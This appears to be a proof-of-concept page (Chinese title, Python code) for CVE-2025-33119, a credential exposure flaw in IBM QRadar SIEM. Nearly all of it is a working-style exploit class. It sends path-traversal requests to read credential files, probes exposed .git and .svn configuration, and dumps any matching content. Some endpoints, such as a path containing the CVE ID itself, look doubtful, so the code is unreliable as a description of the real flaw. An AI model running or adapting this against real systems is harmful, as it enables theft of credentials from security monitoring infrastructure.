CVE-2025-33119 IBM QRadar SIEM 凭证配置泄露漏洞

# CVE-2025-33119 PoC - IBM QRadar SIEM Credential Exposure # This PoC demonstrates the credential exposure vulnerability in QRadar configuration files import requests import json import base64 from urllib.parse import urljoin class QRadarCredentialExposure: def __init__(self, target_url, auth_token): self.target_url = target_url.rstrip('/') self.auth_token = auth_token self.session = requests.Session() self.session.headers.update({ 'Authorization': f'Bearer {auth_token}', 'Content-Type': 'application/json' }) def check_vulnerability(self): """Check if the target is vulnerable to CVE-2025-33119""" vulnerable_paths = [ '/console/api/server_log?filename=../config/credentials.conf', '/api/ariel/searches?filename=../../config/user_credentials.xml', '/console/qrdarun.jar?file=../../../app/qa/credentials.properties' ] exposed_credentials = [] for path in vulnerable_paths: try: response = self.session.get( urljoin(self.target_url, path), timeout=10, verify=False ) if response.status_code == 200: if 'password' in response.text.lower() or 'credential' in response.text.lower(): exposed_credentials.append({ 'path': path, 'content': response.text, 'status': 'VULNERABLE' }) except Exception as e: print(f"Error checking {path}: {str(e)}") return { 'cve_id': 'CVE-2025-33119', 'target': self.target_url, 'vulnerable': len(exposed_credentials) > 0, 'exposed_data': exposed_credentials } def extract_source_control_files(self): """Attempt to access source control configuration files""" sc_paths = [ '/api/config/backup/.git/config', '/console/api/system/.svn/entries', '/api/deployment/configs/CVE-2025-33119/credentials.conf' ] results = [] for path in sc_paths: try: response = self.session.get( urljoin(self.target_url, path), timeout=10 ) if response.status_code == 200: results.append({ 'file_path': path, 'found': True, 'size': len(response.content) }) except Exception: pass return results if __name__ == '__main__': # Usage example target = 'https://qradar-target.local' token = 'your-authentication-token' scanner = QRadarCredentialExposure(target, token) result = scanner.check_vulnerability() print(json.dumps(result, indent=2))